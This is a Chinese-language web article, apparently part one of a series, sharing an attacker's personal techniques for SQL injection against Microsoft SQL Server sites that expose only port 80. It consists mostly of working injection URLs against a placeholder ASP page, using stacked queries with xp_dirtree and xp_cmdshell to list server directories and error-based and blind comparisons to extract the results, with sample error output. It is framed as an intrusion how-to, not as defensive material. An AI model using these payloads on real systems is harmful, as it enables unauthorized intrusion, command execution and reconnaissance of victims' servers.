程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server 注入的四種個人經驗和技巧方法(1)

SQL Server 注入的四種個人經驗和技巧方法(1)

編輯:關於SqlServer


       如果網站只開了80端口,你會發現下面的方法是比較有用的,其中用的方法幾乎都不是我發現的,本文總包括一些注入時的個人經驗和技巧方法可以說有4種(現在已知的)

第一種方法:

這個是<<怪異的SQL注入>>中介紹的方法

利用sqlserver的xp_dirtree,好的我們先來將一下方法,然後再說其優劣處(在原文的基礎上作了點補充)

建立表

語句:http://www.xxxxx.com/down/list.ASP?id=1;create table dirs(paths varchar(1000))--

返回:正常的信息!說明建表成功!繼續!

(建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什麼用

語句:http://www.xxxxx.com/down/list.ASP?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\’ --

返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。(好像只有暴這種方法了)

語句:http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

將 varchar 值 ’@Inetpub’轉換為數據類型為 int 的列時發生語法錯誤。

再依次爆出表中的目錄名稱!

語句:http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’@Inetpub’))--

返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

將 varchar 值 ’test’轉換為數據類型為 int 的列時發生語法錯誤。

再依次爆出表中的目錄名稱!

好我們繼續

語句:http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’@Inetpub’,’test’))--

返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

將 varchar 值 ’haha’轉換為數據類型為 int 的列時發生語法錯誤。

再依次爆出表中的目錄名稱!

好了,你應該知道怎麼做了吧,哈哈,就是把得到的表名添到那個括號裡,有多少就放多少吧,

一點技巧:

有時候你會發現當輸入類似

http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from dirs)-

時不是顯示出錯,而是網頁顯示正常

暈了吧,別緊張哈

看看0<>(select top 1 paths from dirs) 說明返回是一個數字,

哈哈,測試一下看看是多少吧

100>(select top 1 paths from dirs)

返回正常

哈哈,用這種大於小於的方法很快就能猜出了

好我們繼續

比如當出現

59=(select top 1 paths from dirs)

返回正常,

ok,說明名字是59

輸入如下

http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’59’))--

記得帶上引號喲

下面的方法就和原來的一樣的了

還有一個問題就是

有時候用上面的方法輸入59時,發現下一次的文件夾還是59

這個是怎麼回事情呢?

呵呵,不知道你有沒有注意過059和59是一樣的?

就是這個原因了,哈哈,

http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’059’))--

發現顯示下一個文件夾名字了,ok

優缺點分析:

優點就是所有的sqlserver用戶都可以使用,因為xp_dirtree適用權限PUBLIC,

缺點是顯示的是目錄下的所有文件夾的名字,而且排列好像是沒有什麼順序的,總之在好幾千好幾萬個文件夾裡找你想要的文件夾是痛苦的.

而且你知道了有那個文件夾也不能保證在根目錄下,實在是痛苦的一件事情呀,很多時候是靠運氣和耐力.

方法二:

利用xp_cmdshell

哈哈,這個大家一定很熟悉了吧,我就簡單說一下

建立表

語句:http://www.xxxxx.com/down/list.ASP?id=1;create table dirs(paths varchar(1000))--

返回:正常的信息!說明建表成功!繼續!

(建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什麼用

語句:http://www.xxxxx.com/down/list.ASP?id=1;insert dirs exec master.dbo.xp_cmdshell ’dir c:\ /B/D’ --

返回:正常信息。說明寫入C盤的所有目錄成功了!這裡用了dir c:\ /B/D,哈哈,不知道/B/D什麼作用就試驗試驗看

語句:http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

將 varchar 值 ’@Inetpub’轉換為數據類型為 int 的列時發生語法錯誤。

再依次爆出表中的目錄名稱!

語句:http://http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’@Inetpub’))--

返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

將 varchar 值 ’test’轉換為數據類型為 int 的列時發生語法錯誤。

再依次爆出表中的目錄名稱!

方法同上,就不說了

有時候我們也可以用下面的兩個擴展來干些事情

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved